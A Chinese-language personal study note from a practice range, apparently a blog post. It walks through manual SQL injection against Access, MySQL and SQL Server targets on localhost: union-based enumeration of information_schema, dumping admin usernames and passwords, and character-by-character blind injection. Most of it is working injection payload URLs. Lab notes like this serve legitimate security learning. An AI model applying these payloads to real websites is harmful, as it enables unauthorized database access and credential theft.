这是我在墨客的靶场的笔记,记下来,备用。参考墨者的攻略,我感觉我写的自己看的还是很舒服的,嘿嘿嘿。
SQL+Access
目标:http://127.0.0.1/?id=1
http://127.0.0.1/?id=1‘ 测试注入,报错
http://127.0.0.1/?id=1=1(正常回显)http://127.0.0.1/?id=1=2(报错)
http://127.0.0.1/?id=1 order by * 猜字段 *代表猜的数字,正常表示字段数,报错继续猜。
http://127.0.0.1/?id=1 and exists (select * from admin) admin是猜出来的表,返回正常证明此表存在,报错继续猜。*号猜admin表里的列,如:username,password等。正常返回表示有该列和表,错误则证明没有该表和列,继续猜。
http://127.0.0.1/?id=1=2 union select 1,2,3,4 from admin 联合查询,报错页面显示数字表示可查询,如页面显示2,3 可直接用username,password替代2,3,可直接查询。
SQL+Mysql
首先测试是否有注入,猜字段,方法如上。
http://127.0.0.1/?id=1=2 union select 1,database(),version(),4 联合查询,报错页面显示当前数据库和版本。
http://127.0.0.1/?id=1 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
数据库information_schema、表SCHEMATA、列SCHEMA_NAME
information_schema是MySQL系统自带的数据库。
limit 0,1意思是从第0行起,取第1行数据,information_schema为获取的第1个数据库名称。
http://127.0.0.1/?id=1 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1 取第1行起,第1行数据。更改limit *,1获取数据库如:mysql、sys等。继续查询,直到报错。大佬都是凭感觉猜,贼牛逼!!!吹爆老大!!!
http://127.0.0.1/?id=1 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=’mysql’ limit 0,1 查询mysql数据库的第0行,第1个表,如:admin。继续查询,直到报错。
数据库:mysql
表名:admin 这是爆出来的数据库和管理员表。
http://127.0.0.1/?id=1 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=’mysql’ and TABLE_NAME=’admin’ limit 0,1 查询数据库mysql中的admin表第一个字段名称与类型,同等方法查询第二个字段,查出来的字段如:id、username、password。类型如:整型(int)、字符型(varchar)。
http://127.0.0.1/?id=1 union select 1,count(*),3,4 from mysql.admin 查询mysql数据库中的admin表数据总数。
http://127.0.0.1/?id=1 union select 1,CONCAT(username,’-‘,password,’-‘,status),3,4 from mysql.admin limit 0,1 查询数据库mysql中的admin表第0行,第1个数据,间隔用“-”表示,查询别的表数据,如上语句。status账户状态为0=无权限 1=权限。
SQL Server数据库
测试注入,原理同上。
http://127.0.0.1/?id=1 and exists (select * from manage)
盲注,返回正常,证明存在manage数据库,更改“*”为username,返回正常在manage找到username字段,同理找到password字段。
http://127.0.0.1/?id=1 and exists (select id from manage where unicode(substring(username,1,1))=97 and ID=1)
判断manage数据库表中id=1的username字段第一位字符,返回正常。根据ascll表对照,第一位是“a”。
http://127.0.0.1/?id=1 and exists (select id from manage where unicode(substring(username,*,1))=* and ID=1) 同理猜测后面所有。
http://127.0.0.1/?id=1 and exists (select id from manage where unicode(substring(password,*,1))=* and ID=1) 同理猜测password,同理猜测后面所有。
说实话,碰见这种,直接工具吧,手工是真的慢。。。。。
上面文章写作参考自墨者学院:墨者
1